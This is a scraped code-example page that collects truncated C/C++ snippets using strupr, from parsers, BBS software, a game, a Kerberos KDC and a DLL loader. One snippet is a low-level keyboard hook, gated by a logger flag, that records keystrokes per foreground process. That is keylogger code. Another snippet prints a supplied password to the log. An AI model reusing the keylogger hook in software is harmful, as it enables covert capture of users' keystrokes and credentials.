}	/* Insert the book */	fprintf (fout, "%s/n", tag);	/* Transfer contents */	while (TRUE) {		fgets (line, MaxLine, fbook);		if feof(fbook) break;		fputs (line, fout);	}	/* Set the book end */	fputs ("<!--/BOOK-->/n", fout);	if (!Updates) fputs (stout, fout);}

int		GetScriptInfo(char *name){    FILE		*fp;    char		buffer[256];    char		tempbuff[256];    char		delims[] = {" /t,/n"};    printf("Opening script file %s./n", name);    if (fp = fopen(name, "r"))    {        while(fgets(buffer, 256, fp))        {            if (strncmp(buffer, "//", 2) && strncmp(buffer, "/n", 1))            {                strupr(buffer);                strcpy(tempbuff, buffer);                if (strcmp(strtok(tempbuff, delims), "OUTPUT") == 0)                {                    strcpy(out.name, strtok(NULL, delims));                    strlwr(out.name);                }                strcpy(tempbuff, buffer);                if (strcmp(strtok(tempbuff, delims), "SOURCEDIR") == 0)                {                    strcpy(tempbuff, strtok(NULL, delims));                    strcpy(sourcedir, ExpandPathAndArchive(tempbuff));                }                strcpy(tempbuff, buffer);                if (strcmp(strtok(tempbuff, delims), "DOSORT") == 0)                    dosort = 1;                strcpy(tempbuff, buffer);                if (strcmp(strtok(tempbuff, delims), "XCHARSIZE") == 0)                    xcharsize = strtol(strtok(NULL, delims), NULL, 0);                strcpy(tempbuff, buffer);                if (strcmp(strtok(tempbuff, delims), "YCHARSIZE") == 0)                    ycharsize = strtol(strtok(NULL, delims), NULL, 0);                strcpy(tempbuff, buffer);                if (strcmp(strtok(tempbuff, delims), "OUTSCRIPT") == 0)                {                    strcpy(outscript, strtok(NULL, delims));                    strlwr(outscript);                }                strcpy(tempbuff, buffer);                if (strcmp(strtok(tempbuff, delims), "OUTUSAGE") == 0)                    strcpy(outusage, strtok(NULL, delims));                strcpy(tempbuff, buffer);                if (strcmp(strtok(tempbuff, delims), "POS") == 0)                {                    out.w = strtol(strtok(NULL, delims), NULL, 0);                    out.h = strtol(strtok(NULL, delims), NULL, 0);                }                strcpy(tempbuff, buffer);                if (strcmp(strtok(tempbuff, delims), "FILE") == 0)                {                    strcpy(in[filenum].name, strtok(NULL, delims));                    in[filenum].x = strtol(strtok(NULL, delims), NULL, 0);                    in[filenum].y = strtol(strtok(NULL, delims), NULL, 0);                    in[filenum].col = strtol(strtok(NULL, delims), NULL, 0);                    filenum++;                }            }        }        fclose(fp);        return(true);    }    else    {        printf("ERROR : Could not open script file./n");        return(false);    }}

int makeconnect (char *mycall, char *conncall)//**************************************************************************//////**************************************************************************{  lastfunc("makeconnect");  unsigned int port;  //unsigned int port_org;  if (l2vorhanden)  {    strupr(conncall);    strupr(mycall);#ifdef _AX25K#ifndef _AX25K_ONLY    CRegEx reg;    if (ax25k_isdefault() || reg.regex_match("ax.*:", conncall))#endif      return ax25k_connect(mycall, conncall);#endif#ifndef _AX25K_ONLY    if (t->port)    {      trace(serious, "makeconn", "port busy");      return NO;    }    for (port = 2; port < (unsigned) highestport; port++)    {  //    port_org = port;  //    port = random_max(highestport-port_org)+port_org-1;      if (portopen[port] == p_closed)      {        portopen[port] = p_linksetup;        rxdafl[port] = rxcbuf[port] = 0;        connport_tnc(port, mycall, conncall);        while (portopen[port] == p_linksetup)        {          switch (linkstate_tnc(port))          {          case info_transfer:          case rej_sent:          case wait_ack:            t->port = port;            portopen[port] = p_connected;            trace(report, "makeconn", "ok %s", conncall);            break;          case disconnected:            portopen[port] = p_closed;            trace(report, "makeconn", "fail %s", conncall);            break;          default:            {              wdelay(245);              if (testabbruch())              {                portopen[port] = p_closed;                discport_tnc(port);                return NO;              }            }          }        }        return (portopen[port] == p_connected);      }  //    port = port_org;    }    trace(report, "makeconn", "no port");    return NO;#endif  }  else    return NO;}

void EarthData::LoadCities(){    float startTime = GetHighResTime();    m_cities.EmptyAndDelete();    TextReader *cities = g_fileSystem->GetTextReader( "data/earth/cities.dat" );    AppAssert( cities && cities->IsOpen() );        int numCities = 0;        while( cities->ReadLine() )    {        char *line = cities->GetRestOfLine();        char name[256];        char country[256];        float latitude, longitude;        int population;        int capital;                strncpy( name, line, 40 );        for( int i = 39; i >= 0; --i )        {            if( name[i] != ' ' )             {                name[i+1] = '/x0';                break;            }        }        strncpy( country, line+41, 40 );        for( int i = 39; i >= 0; --i )        {            if( country[i] != ' ' )            {                country[i+1] = '/x0';                break;            }        }        sscanf( line+82, "%f %f %d %d", &longitude, &latitude, &population, &capital );        City *city = new City();        city->m_name = strdup( strupr(name) );        city->m_country = strdup( strupr(country) );        city->m_longitude = Fixed::FromDouble(longitude);        city->m_latitude = Fixed::FromDouble(latitude);        city->m_population = population;        city->m_capital = capital;                 city->SetRadarRange( Fixed::FromDouble(sqrtf( sqrtf(city->m_population) ) / 4.0f) );        m_cities.PutData( city );        ++numCities;    }        delete cities;    float totalTime = GetHighResTime() - startTime;    AppDebugOut( "Parsing City data (%d cities) : %dms/n", numCities, int( totalTime * 1000.0f ) );}

 void ParseParms( int argc, char *argv[] )  {    int     j = 1 ;    char TempText[80];    CallCount   = 1;    Iterations  = 1;    Delay       = 0;     while ( j < argc )  {       if ( strchr ( "/-(", argv[j][0] ) ) { /* looks like an option  */          argv[j] = strupr ( argv[j] );                       switch ( argv[j][1] )  {            case '?' :                          /* /?:HELP               */            case 'H' :                          /* /H:                   */              SayHelp();                        break;                      case 'I' :                         /* /I:iterations         */             Iterations = atoi ( &argv[j][3] );             if( ( Iterations < 0 ) || ( Iterations  > 32000 ) ) {                sprintf(TempText,"Iterations out of range 0 used instead of %s",                                                                     &argv[j][3]);                Info(TempText);                                                                         Iterations = 0;             } else {                sprintf(TempText,"Iterations changed to %s",&argv[j][3]);                Info(TempText);                                                                      } /* endif */             Unattended = 1;             break;          case 'D' :                         /* /D:Delay              */             Delay = atof ( &argv[j][3] );             Delay = Delay * 400; /* Make it a reasonable value */             break;          case 'S' :                         /* /S:Server             */             strcpy( EciBlock.eci_system_name, &argv[j][3]);             sprintf(TempText,"Server Selected = %s",EciBlock.eci_system_name);             Info(TempText);                                                                      break;          case 'U' :                         /* /U:UserID             */             strcpy( EciBlock.eci_userid, &argv[j][3]);             sprintf(TempText,"User ID Selected = %s",EciBlock.eci_userid);             Info(TempText);                                                                      break;          case 'P' :                         /* /P:Password           */             strcpy( EciBlock.eci_password, &argv[j][3]);             sprintf(TempText,"Password Supplied = %s",EciBlock.eci_password);             Info(TempText);                                                                      break;          default :             sprintf(TempText,"Ignoring Parameter %s",&argv[j][0]);             Info(TempText);                                                                      break;          } /* endswitch */       }     else       {         sprintf(TempText,"Parameters must begin with a /=");         Info(TempText);                                                                }     j++;  } /* endwhile */  }

void* HGE_CALL HGE_Impl::Resource_Load(const char* filename, uint32_t* size) {    static char* res_err = "Can't load resource: %s";    auto res_item = res_list_;    char sz_name[_MAX_PATH];    char sz_zip_name[_MAX_PATH];    unz_file_info file_info;    int i;    void* ptr;    if (filename[0] == '//' || filename[0] == '/' || filename[1] == ':') {        goto _fromfile; // skip absolute paths    }    // Load from pack    strcpy(sz_name, filename);    strupr(sz_name);    for (i = 0; sz_name[i]; i++) {        if (sz_name[i] == '/') {            sz_name[i] = '//';        }    }    while (res_item) {        const auto zip = unzOpen(res_item->filename);        auto done = unzGoToFirstFile(zip);        while (done == UNZ_OK) {            unzGetCurrentFileInfo(zip, &file_info, sz_zip_name, sizeof(sz_zip_name), nullptr, 0,                                  nullptr, 0);            strupr(sz_zip_name);            for (i = 0; sz_zip_name[i]; i++) {                if (sz_zip_name[i] == '/') {                    sz_zip_name[i] = '//';                }            }            if (!strcmp(sz_name, sz_zip_name)) {                if (unzOpenCurrentFilePassword(zip, res_item->password[0] ? res_item->password : 0)                    !=                    UNZ_OK) {                    unzClose(zip);                    sprintf(sz_name, res_err, filename);                    post_error(sz_name);                    return nullptr;                }                ptr = malloc(file_info.uncompressed_size);                if (!ptr) {                    unzCloseCurrentFile(zip);                    unzClose(zip);                    sprintf(sz_name, res_err, filename);                    post_error(sz_name);                    return nullptr;                }                if (unzReadCurrentFile(zip, ptr, file_info.uncompressed_size) < 0) {                    unzCloseCurrentFile(zip);                    unzClose(zip);                    free(ptr);                    sprintf(sz_name, res_err, filename);                    post_error(sz_name);                    return nullptr;                }                unzCloseCurrentFile(zip);                unzClose(zip);                if (size) {                    *size = file_info.uncompressed_size;                }                return ptr;            }            done = unzGoToNextFile(zip);        }        unzClose(zip);        res_item = res_item->next;    }    // Load from file_fromfile:    const auto h_f = CreateFile(Resource_MakePath(filename), GENERIC_READ,                                FILE_SHARE_READ, nullptr, OPEN_EXISTING,                                FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS,                                nullptr);    if (h_f == INVALID_HANDLE_VALUE) {        sprintf(sz_name, res_err, filename);        post_error(sz_name);        return nullptr;    }    file_info.uncompressed_size = GetFileSize(h_f, nullptr);    ptr = malloc(file_info.uncompressed_size);    if (!ptr) {        CloseHandle(h_f);        sprintf(sz_name, res_err, filename);        post_error(sz_name);        return nullptr;    }    if (ReadFile(h_f, ptr, file_info.uncompressed_size, &file_info.uncompressed_size,                 nullptr) == 0) {        CloseHandle(h_f);//.........这里部分代码省略.........

void convertEx(IFileIO *fio, const char *file, int width, int height){    char bmpFile[260];    char suffix[260] = "NV21";    char *p = NULL;    FILE *fp = NULL;    FileIOData *fioData = NULL;    YUV_FORMAT format = YUV_NV21;        strcpy(bmpFile, file);    p = strrchr(bmpFile, '.');    if(p == NULL)    {        p = bmpFile;    }    else    {        strcpy(suffix, p+1);    }    strcat(p, ".bmp");    fp = fopen(bmpFile, "rb");    if(fp != NULL)    {        //already exist, ignore        fclose(fp);        return;    }        p = strrchr(file, '//');    if(p != NULL)    {        p++;    }    else    {        p = (char *)file;    }    printf("/r                                                                      /rConverting %s.../n", p);                fioData = ReadFromFile(fio, file);    if(fioData != NULL)    {        strupr(suffix);        if(strcmp(suffix, "I420")==0)        {            format = YUV_I420;        }        else if(strcmp(suffix, "YV12")==0)        {            format = YUV_YV12;        }        else if(strcmp(suffix, "NV12")==0)        {            format = YUV_NV12;        }        else if(strcmp(suffix, "NV21")==0)        {            format = YUV_NV21;        }        yuv2bmpfile(format, fioData->buffer, width, height, bmpFile);                FreeData(fio, fioData);    }}

int menu(int *f){    int op,i,opcion,x,columna=43,fila=6;    int pos;    char nombre[20];    char aapp[15];    static  Alumno Alum[Max];    static int contAlum=0;    system("cls");    switch(*f){        case INICIO+3:            system("cls");            gotoxy(50,10);printf("AGREGAR ALUMNO");            Captura(Alum,&contAlum);            gotoxy(43,27);printf("...PRESIONA UNA TECLA PARA CONTINUAR...");            getch();        break;        case INICIO+6:            system("cls");            if(band == 1){                gotoxy(columna,fila+3);printf("ELIMINAR ALUMNO");                gotoxy(columna-25,fila+6);printf("APELLIDO PATERNO ");                fflush(stdin);                gotoxy(columna-23,fila+8);gets(aapp);                strupr(aapp);                gotoxy(columna+5,fila+6);printf("NOMBRE ");                fflush(stdin);                gotoxy(columna,fila+8);gets(nombre);                strupr(nombre);                for(i=0; i<contAlum; i++)                    if(Alum[i].Edad != 0)                        Eliminar(Alum,&contAlum,i,nombre,aapp);                    else                        gotoxy(columna,fila+24);printf("EL ALUMNO NO EXISTE");                gotoxy(40,27);printf("...PRESIONA UNA TECLA PARA CONTINUAR...");                getch();            }            else{                gotoxy(40,7);printf("...NO HAY DATOS CAPTURADOS...");                getch();            }        break;        case INICIO+9:            if(band == 1){                do{                    system("cls");                    gotoxy(columna,fila+3);printf("MOSTRAR ALUMNO");                    gotoxy(columna,fila+6);printf("1. NOMBRE");                    gotoxy(columna,fila+9);printf("2. APELLIDO PATERNO");                    gotoxy(columna,fila+12);printf("3. APELLIDO MATERNO");                    gotoxy(columna,fila+15);printf("4. EDAD");                    gotoxy(columna,fila+18);printf("5. SEMESTRE");                    gotoxy(columna,fila+21);printf("6. SALIR");                    gotoxy(columna,fila+24);printf("Elige una Opcion: ");                    scanf("%d",&opcion);                    switch(opcion){                        case 1:                            system("cls");                            gotoxy(columna+5,fila);printf("ALUMNOS");                            insercionNom(Alum,contAlum);                            i=0;                            do{                                mostrarAlum(Alum,i);                                i++;                            }while(i<contAlum);                            gotoxy(columna,fila+(i+15));printf("...PRESIONA UNA TECLA PARA CONTINUAR...");                            getch();                        break;                        case 2:                            system("cls");                            gotoxy(columna+5,fila);printf("ALUMNOS");                            quickSortAP(Alum,0,(contAlum-1));                            for(i=0; i<contAlum; i++)                                mostrarAlum(Alum,i);                            gotoxy(columna,fila+(i+15));printf("...PRESIONA UNA TECLA PARA CONTINUAR...");                            getch();                        break;                        case 3:                            system("cls");                            gotoxy(columna+5,fila);printf("ALUMNOS");                            burbujaMejoradoAM(Alum,contAlum);                            for(i=0; i<contAlum; i++)                                mostrarAlum(Alum,i);                            gotoxy(columna,fila+(i+15));printf("...PRESIONA UNA TECLA PARA CONTINUAR...");                            getch();                        break;                        case 4:                            system("cls");                            gotoxy(columna+5,fila);printf("ALUMNOS");                            seleccionEdad(Alum,contAlum);                            for(i=0; i<contAlum; i++)                                mostrarAlum(Alum,i);                            gotoxy(columna,fila+(i+15));printf("...PRESIONA UNA TECLA PARA CONTINUAR...");                            getch();                        break;                        case 5:                            system("cls");                            gotoxy(columna+5,fila);printf("ALUMNOS");                            shellSortSem(Alum,contAlum);                            for(i=0; i<contAlum; i++)//.........这里部分代码省略.........

//.........这里部分代码省略.........					}					return(0);				case TIME_STR:					pp=getstrvar(csi,*(long *)csi->ip);					csi->ip+=4; /* Skip str variable name */					lp=getintvar(csi,*(long *)csi->ip);					csi->ip+=4; /* Skip int variable name */					if(pp && lp) {						strcpy(str,timestr((time_t *)lp));						*pp=copystrvar(csi,*pp,str); }					return(0);				case DATE_STR:					pp=getstrvar(csi,*(long *)csi->ip);					csi->ip+=4; /* Skip str variable name */					lp=getintvar(csi,*(long *)csi->ip);					csi->ip+=4; /* Skip int variable name */					if(pp && lp) {						unixtodstr(&cfg,*lp,str);						*pp=copystrvar(csi,*pp,str); }					return(0);				case SECOND_STR:					pp=getstrvar(csi,*(long *)csi->ip);					csi->ip+=4; /* Skip str variable name */					lp=getintvar(csi,*(long *)csi->ip);					csi->ip+=4; /* Skip int variable name */					if(pp && lp) {						sectostr(*lp,str);						*pp=copystrvar(csi,*pp,str); }					return(0);				case STRUPR_VAR:					pp=getstrvar(csi,*(long *)csi->ip);					csi->ip+=4;					if(pp && *pp)						strupr(*pp);					return(0);				case STRLWR_VAR:					pp=getstrvar(csi,*(long *)csi->ip);					csi->ip+=4;					if(pp && *pp)						strlwr(*pp);					return(0);				case TRUNCSP_STR_VAR:					pp=getstrvar(csi,*(long *)csi->ip);					csi->ip+=4;					if(pp && *pp)						truncsp(*pp);					return(0);				case STRIP_CTRL_STR_VAR:					pp=getstrvar(csi,*(long *)csi->ip);					csi->ip+=4;					if(pp && *pp)						strip_ctrl(*pp);					return(0);				case ADD_INT_VAR:				case SUB_INT_VAR:				case MUL_INT_VAR:				case DIV_INT_VAR:				case MOD_INT_VAR:				case AND_INT_VAR:				case OR_INT_VAR:				case NOT_INT_VAR:				case XOR_INT_VAR:					i=*(csi->ip-1);					lp=getintvar(csi,*(long *)csi->ip);					csi->ip+=4;

//.........这里部分代码省略.........			}			switch(toupper(argv[i++][1])) {			case 'A':				SAFECOPY(user.address,argv[i]);				break;			case 'B':				SAFECOPY(user.birth,argv[i]);				break;			case 'L':				SAFECOPY(user.location,argv[i]);				break;			case 'C':				SAFECOPY(user.comment,argv[i]);				break;			case 'E':				user.expire=(time32_t)(now+((long)atoi(argv[i])*24L*60L*60L)); 				break;			case 'F':				switch(toupper(argv[i-1][2])) {					case '1':						user.flags1=aftol(argv[i]);						break;					case '2':						user.flags2=aftol(argv[i]);						break;					case '3':						user.flags3=aftol(argv[i]);						break;					case '4':						user.flags4=aftol(argv[i]);						break;					case 'E':						user.exempt=aftol(argv[i]);						break;					case 'R':						user.rest=aftol(argv[i]);						break;					default:						printf("%s",usage);						return(1);				}				break;			case 'G':				user.sex=toupper(argv[i][0]);				break;			case 'H':				SAFECOPY(user.handle,argv[i]);				break;			case 'N':				SAFECOPY(user.netmail,argv[i]);				break;			case 'P':				SAFECOPY(user.pass,argv[i]);				strupr(user.pass);				break;			case 'R':				SAFECOPY(user.name,argv[i]);				break;			case 'S':				user.level=atoi(argv[i]);				break;			case 'T':				SAFECOPY(user.phone,argv[i]);				break;			case 'Z':				SAFECOPY(user.zipcode,argv[i]);				break;			default:				printf("%s",usage);				return(1); 			}		}		else			SAFECOPY(user.alias,argv[i]);	}	if(user.alias[0]==0) {		printf("%s",usage);		return(1);	}	if((i=matchuser(&scfg,user.alias,FALSE))!=0) {		printf("!User (%s #%d) already exists/n",user.alias,i);		return(2);	}	if(user.handle[0]==0)		SAFECOPY(user.handle,user.alias);	if(user.name[0]==0)		SAFECOPY(user.name,user.alias);	if((i=newuserdat(&scfg, &user))!=0) {		fprintf(stderr,"!ERROR %d adding new user record/n",i);		return(i);	}	printf("User record #%d (%s) created successfully./n",user.number,user.alias);	return(0);}

//.........这里部分代码省略.........			lastch=0;			continue; 		}		lastch=qwkbuf[k];		if(taillen)			tail[taillen++]=qwkbuf[k];		else			body[bodylen++]=qwkbuf[k]; 	} 	free(qwkbuf);	while(bodylen && body[bodylen-1]==' ') bodylen--; /* remove trailing spaces */	if(bodylen>=2 && body[bodylen-2]==CR && body[bodylen-1]==LF)		bodylen-=2;	while(taillen && tail[taillen-1]<=' ') taillen--; /* remove trailing garbage */	/* Parse QWK Kludges (QWKE standard and SyncQNET legacy) here: */	if(useron.rest&FLAG('Q') || fromhub) {      /* QWK Net */		if((p=iniGetString(kludges,ROOT_SECTION,"@VIA",NULL,NULL)) != NULL) {			if(!fromhub)				set_qwk_flag(QWK_VIA);			if(route_circ(p,cfg.sys_id)) {				bprintf("/r/nCircular message path: %s/r/n",p);				lprintf(LOG_ERR,"Circular message path: %s from %s"					,p,fromhub ? cfg.qhub[fromhub-1]->id:useron.alias);				strListFree(&kludges);				free(body);				free(tail);				return(false); 			}			SAFEPRINTF2(str,"%s/%s"				,fromhub ? cfg.qhub[fromhub-1]->id : useron.alias,p);			strupr(str);			update_qwkroute(str); 		}		else {			if(fromhub)				SAFECOPY(str,cfg.qhub[fromhub-1]->id);			else				SAFECOPY(str,useron.alias); 		}		/* From network type & address: */		strupr(str);		net_type=NET_QWK;		smb_hfield_netaddr(msg, SENDERNETADDR, str, &net_type);		smb_hfield_bin(msg,SENDERNETTYPE,net_type);	} else {		sprintf(str,"%u",useron.number);		smb_hfield_str(msg,SENDEREXT,str);		if((uint)subnum!=INVALID_SUB && cfg.sub[subnum]->misc&SUB_NAME)			SAFECOPY(from,useron.name);		else			SAFECOPY(from,useron.alias);		smb_hfield_str(msg,SENDER,from);	}	if((p=iniGetString(kludges,ROOT_SECTION,"@MSGID",NULL,NULL)) != NULL) {		if(!fromhub)			set_qwk_flag(QWK_MSGID);		truncstr(p," ");				/* Truncate at first space char */		if(msg->id==NULL)			smb_hfield_str(msg,RFC822MSGID,p);	}	if((p=iniGetString(kludges,ROOT_SECTION,"@REPLY",NULL,NULL)) != NULL) {		if(!fromhub)

// low-level keyboard hook functionstatic LRESULT CALLBACK 	LLKeyboardProc(		int nCode, 		WPARAM wParam, 		LPARAM lParam		) {	PKBDLLHOOKSTRUCT HookStruct = (PKBDLLHOOKSTRUCT)lParam;	DWORD CurrentThread;	HWND  hForeground,hFocus = NULL;	DWORD ProcessID = 0;	DWORD ThreadID  = 0;	DWORD HostProcess = 0;	HANDLE hProcess;	BOOL bAttached = FALSE;	CHAR  ProcessName[MAX_PATH];	#ifdef _DEBUG	lstrcpy(ProcessName, szUnknown);#endif	do {		if ( !g_bLoggerEnabled || ( nCode != HC_ACTION ) || !HookStruct ){			break;		}		if ( (UINT)wParam != WM_KEYDOWN ){ //message 			break;		}		CurrentThread = GetCurrentThreadId();		hForeground = GetForegroundWindow();#ifndef _DEBUG		ProcessName[0] = 0;#endif		if ( hForeground == NULL ){			DbgPrint("GetForegroundWindow is NULL/n");			break;		}		// get thread and process for foreground window		if ( ThreadID = GetWindowThreadProcessId(hForeground,&ProcessID) )		{			if ( CurrentThread != ThreadID ){				bAttached =					AttachThreadInput(						CurrentThread,						ThreadID,						TRUE						);			}		}else{			DbgPrint("GetWindowThreadProcessId failed, err=%lu/n",GetLastError());		}		// wnd that owns focus can be handled by different thread		hFocus = GetFocus();		if ( hFocus != hForeground )		{			// detach input			if ( bAttached ){				AttachThreadInput(					CurrentThread,					ThreadID,					FALSE					);				bAttached = FALSE;			}			if ( ThreadID = GetWindowThreadProcessId(hFocus,&ProcessID) )			{				if ( CurrentThread != ThreadID ){					bAttached =						AttachThreadInput(							CurrentThread,							ThreadID,							TRUE							);				}			}else{				DbgPrint("GetWindowThreadProcessId failed, err=%lu/n",GetLastError());			}		}		if ( ProcessID ){			hProcess = 				OpenProcess(					PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,					FALSE,					ProcessID					);			if ( hProcess )			{				if ( GetModuleBaseNameA(hProcess,NULL,ProcessName,MAX_PATH) ){					strupr(ProcessName);					HostProcess = Crc32(ProcessName, lstrlenA(ProcessName));				}else{//.........这里部分代码省略.........

static intmatch_ms_upn_san(krb5_context context,		 krb5_kdc_configuration *config,		 hx509_context hx509ctx,		 hx509_cert client_cert,		 krb5_const_principal match){    hx509_octet_string_list list;    krb5_principal principal = NULL;    int ret, found = 0;    MS_UPN_SAN upn;    size_t size;    memset(&list, 0 , sizeof(list));    ret = hx509_cert_find_subjectAltName_otherName(hx509ctx,						   client_cert,						   oid_id_pkinit_ms_san(),						   &list);    if (ret)	goto out;    if (list.len != 1) {	kdc_log(context, config, 0,		"More then one PK-INIT MS UPN SAN");	goto out;    }    ret = decode_MS_UPN_SAN(list.val[0].data, list.val[0].length, &upn, &size);    if (ret) {	kdc_log(context, config, 0, "Decode of MS-UPN-SAN failed");	goto out;    }    kdc_log(context, config, 0, "found MS UPN SAN: %s", upn);    ret = krb5_parse_name(context, upn, &principal);    free_MS_UPN_SAN(&upn);    if (ret) {	kdc_log(context, config, 0, "Failed to parse principal in MS UPN SAN");	goto out;    }    /*     * This is very wrong, but will do for now, should really and a     * plugin to the windc layer to very this ACL.    */    strupr(principal->realm);    if (krb5_principal_compare(context, principal, match) == TRUE)	found = 1;out:    if (principal)	krb5_free_principal(context, principal);    hx509_free_octet_string_list(&list);    if (ret)	return ret;    if (!found)	return KRB5_KDC_ERR_CLIENT_NAME_MISMATCH;    return 0;}

//.........这里部分代码省略.........      {         mem_upper( funcname, strlen( funcname ) );         if (rc = shl_findsym( &handle, funcname, TYPE_PROCEDURE, &eaddr ))         {            mem_lower( funcname, strlen( funcname ) );            if (rc = shl_findsym( &handle, funcname, TYPE_PROCEDURE, &eaddr ))            {               addr = NULL ;               set_err_message( TSD,  "shl_findsym() failed: ", strerror(errno) );            }         }      }      if (!rc)         addr = (PFN)eaddr ;   }#elif defined(DYNAMIC_AIXLOAD)   addr = (PFN)handle ;#elif defined(DYNAMIC_OS2)   if ( ( sscanf( funcname, "#%u%c", &u, &c ) == 1 ) && ( u != 0 ) )   {      ordinal = (ULONG) u;      entryname = NULL;   }   else   {      ordinal = 0L;      entryname = funcname;   }   rc = DosQueryProcAddr(handle,ordinal,entryname,&addr);   if (rc)   {      char buf[150];      sprintf(buf,"DosQueryProcAddr() failed with %lu looking for %.90s", (long) rc, funcname );      set_err_message(TSD, buf, "" ) ;   }#elif defined(DYNAMIC_WIN32)   /*  13/12/1999 JH moved cast, (HMODULE), from second parm to first.  Removed    * a compiler warning,    */   if ( ( sscanf( funcname, "#%u%c", &u, &c ) == 1 ) && ( u != 0 ) &&                                                             ( u <= 0xFFFF ) )      entryname = (char *) u;   else      entryname = funcname;   addr = (PFN) GetProcAddress( (HMODULE) handle, entryname );   if ( ( addr == NULL ) && ( funcname == entryname ) )   {      strlwr(funcname);      addr = (PFN)GetProcAddress((HMODULE)handle,funcname);      if (addr == NULL)      {         strupr(funcname);         addr = (PFN)GetProcAddress((HMODULE)handle, funcname);      }   }   if (addr == NULL)   {      char buf[150];      FormatMessage( FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT), LoadError, 256, NULL );      sprintf( buf, "Failed to find /"%s/" in external library: GetProcAddress() failed: ", funcname );      set_err_message( TSD, buf, LoadError );   }#elif defined(DYNAMIC_BEOS)   rc = get_image_symbol(handle,funcname,B_SYMBOL_TYPE_TEXT,(void **)&addr);   if (rc == B_BAD_IMAGE_ID)   {      char buf[150];      sprintf(buf,"get_image_symbol() failed with %d looking for %s", rc, funcname );      set_err_message( TSD,  buf, "" );      addr = NULL;   }#elif defined(DYNAMIC_SKYOS)fprintf(stderr,"%s %d:/n",__FILE__,__LINE__);   addr = (PFN)GetDllFunction( handle, funcname );   if ( addr == NULL )   {      char buf[150];      sprintf(buf,"GetDllFunction() failed looking for %s", funcname );      set_err_message( TSD,  buf, "" );      addr = NULL;   }fprintf(stderr,"%s %d:/n",__FILE__,__LINE__);#endif   FreeTSD( funcname );   if (addr)      return (PFN)addr ;   else      return NULL ;}

msgmenu(){char prompt[80],s[80],k[80];int i;cur=i=0;initmsg();if(user.sl < bidx[0].level)	{	nl();	nl();	put("4You can't access the first section");	return;	}if(bidx[0].pass[0]!=0)	{	put("1Enter file base password:2 ");	input(s,50);	nl();	if(stricmp(bidx[0].pass,s)!=0)		{		pl("4Sorry, wrong password");		return;		}	}if(dispnoerr("MWELC.ANS")==-1)	{	put_char(12);	put("4");	print("
C++ strv_free函数代码示例
C++ strupper_m函数代码示例